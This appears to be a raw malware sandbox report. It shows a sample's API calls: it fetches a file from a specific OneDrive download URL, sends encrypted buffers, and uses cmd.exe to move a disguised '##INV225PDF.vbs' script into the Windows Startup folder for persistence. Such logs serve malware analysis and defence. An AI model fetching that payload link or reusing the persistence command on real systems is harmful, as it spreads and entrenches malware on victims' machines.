c_ic_h_l"><div class="c_ic_img_h c_ic_img_l"><div class="c_ic_img_sub c_ic_img_l" id="icTmMeControlMedium_usertilecontainer"><span id="icTmMeControlMedium_frame_clip" title="&#123;3&#125;" class="c_ic_frame_clip" target="_top" href="https&#58;//profile.live.com/" ><div class="c_ic_tile_clip"><img id="icTmMeControlMedium_usertile" errsrc="https://p.sfx.ms/ic/bluemanm.png" style="visibility:hidden;" alt="&#123;3&#125;" /></div><div class="c_ic_blueframe c_ic_bar" id="icTmMeControlMedium_bar" dir="ltr" style="visibility:hidden;"></div></span></div></div><div class="c_clr"></div></div></div></div><script type="text/javascript">//<![CDATA[ window.ic_common_data = { "imgbaseurl":"https\u003a\u002f\u002fp.sfx.ms\u002fic\u002f", "socialcontext":"0", "vcid":"0000000000000000", "max_name":"20", "tp_no_name":"", "afcanary":"", "ru":location.href, "dmtrgt":"_top"}; window.ic_menu_data = { "ep":['Edit profile details','https\x3a\x2f\x2fprofile.live.com\x2f'], "cd":['View contact details','https\x3a\x2f\x2fpeople.live.com\x3fcontact_id\x3d\x24contactid\x24\x26action\x3ddetails\x26ref\x3dic'], "se":['Email \x7baddress\x7d',"mailto\u003a\u0024address\u0024"], "si":['Send IM'], "vc":['Video Call'], "ac":['Audio Call']}; window.icPwcData = { "icTmMeControlXXL":["","",[],"\u007b0\u007d","","0","","","a","","","","","","","",{},"https\u003a\u002f\u002fstorage.live.com\u002fusers\u002f0x0000000000000000\u002fmyprofile\u002fexpressionprofile\u002fprofilephoto\u003aWin8Static,UserTileMedium,UserTileStatic\u002fMeControlXXLUserTile\u003fck\u003d1\u0026ex\u003d24\u0026fofoff\u003d1"], "icTmMeControlMedium":["","",[],"\u007b0\u007d","","0","","","a","","","","","","","",{},"https\u003a\u002f\u002fstorage.live.com\u002fusers\u002f0x0000000000000000\u002fmyprofile\u002fexpressionprofile\u002fprofilephoto\u003aUserTileLarge,UserTileStatic\u002fMeControlMediumUserTile\u003fck\u003d1\u0026ex\u003d24\u0026fofoff\u003d1"]}; window.ic_template_data = { "icTmMeControlXXL":0, "icTmMeControlMedium":0}; $Do.when('$icmCreated', 0, function (){window.$icm.init();}); //]]></script> <script type="text/javascript">//<![CDATA[ $CSIPerf.lapse.push({s:"f",t:(new Date).getTime()}) //]]></script><!-- MLHN:RD0004FFA71D8C --> <script type="text/javascript"> window.$Config.pageResponseCompleteTime = 1662687056186; </script> </body> </html>
request_handle: 0x00cc000c
1 1 0
Time & API Arguments Status Return Repeated

InternetCrackUrlW

url: https://onedrive.live.com/download?cid=7C9C82DE5899257A&resid=7C9C82DE5899257A%212326&authkey=AFQStmbC1Mpi4TM
flags: 0
1 1 0

InternetCrackUrlW

url: https://onedrive.live.com/download?cid=7C9C82DE5899257A&resid=7C9C82DE5899257A%212326&authkey=AFQStmbC1Mpi4TM
flags: 0
1 1 0

HttpOpenRequestW

connect_handle: 0x00cc0008
http_version:
flags: 2160068880
http_method: GET
referer:
path: /download?cid=7C9C82DE5899257A&resid=7C9C82DE5899257A%212326&authkey=AFQStmbC1Mpi4TM
1 13369356 0

send

buffer: !
socket: 848
sent: 1
1 1 0

send

buffer: tpc—@b–Žiä ÄöÛNûš­”T]/ˆ÷ìQw&ÍG/5 ÀÀÀ À 28/ÿonedrive.live.com  
socket: 980
sent: 121
1 121 0

send

buffer: !
socket: 848
sent: 1
1 1 0

send

buffer: fba€^V8v!´[ÿäN³* ó–¸=m{çÂ2eN­±uÊÍZ%[ÒÈ-ê¾Á±Œ'B6boç®Î*WB\ë/ù' ɪhµk,\-wz’ÕrÃSÉ ¾ ¢íá6ÆçŸÖ0È1›`ví¶MCÍ¿2¸²•ôg-ïK¬›ž‡T5 ‘ÕT˜8ã„ڀgt
socket: 980
sent: 166
1 166 0

send

buffer: !
socket: 848
sent: 1
1 1 0

send

buffer: °I[X¾«tOŸlöúÿFù|E¯Î •Re˜Õ{Ûö¿ÙS¹Lꍟ*ŒC{ÊPr˜¹"i®`á`í ë?ëäë®g¬Ë҇ŸÆ\ôµøZÕnY­MÍy 3à^gmyҼΨvÌe÷ÿu¹‹RÕØÀ“ñûÛKϏñ e ÆiÚ×Òï—Ï[t+ÞÔ%0ÜfꈌÍL÷ÜÎA”FÍëÙƶŠ®Xç¤í 1 %h¥ýåЦr×0´t0+¹VåËÝ?Üþt£<˶Oš¢¡©4}U妢GF´Nµ3èÄoÁ¬›ÀÑЏÑaÿÚ¬y-p{L ³­PÒµ\ªÙ•ú(¼/‹Øœ™+Մr³•ý!‰Ž¦/· X–:ôY¦~E«0§¿"ˆúʾ¬_7Ÿ>£»6çÍbÍFÃÿ©|4̾‡‚áñZ…/©cw’\ð'UæȬÏ{ÒB™Öb;v—ô7.N`Š×S`³z8÷يs€¥©ðùDü4É"8ZN ˆö” {Y(¡ z=3ç([háS»±¸²Ó/6R€|OÌB‹£º
socket: 980
sent: 437
1 437 0

send

buffer: !
socket: 848
sent: 1
1 1 0

InternetCrackUrlA

url: Cookie:test22@live.com/
flags: 0
1 1 0

InternetCrackUrlA

url: https://onedrive.live.com/download?cid=7C9C82DE5899257A&resid=7C9C82DE5899257A%212326&authkey=AFQStmbC1Mpi4TM
flags: 0
1 1 0
parent_process wscript.exe martian_process CMD /c move "C:\Users\test22\AppData\Local\Temp\##INV225PDF.vbs" "C:\Users\test22\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\"
parent_process wscript.exe martian_process "C:\Windows\System32\cmd.exe" /c move "C:\Users\test22\AppData\Local\Temp\##INV225PDF.vbs" "C:\Users\test22\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\"
file C:\Windows\System32\cmd.exe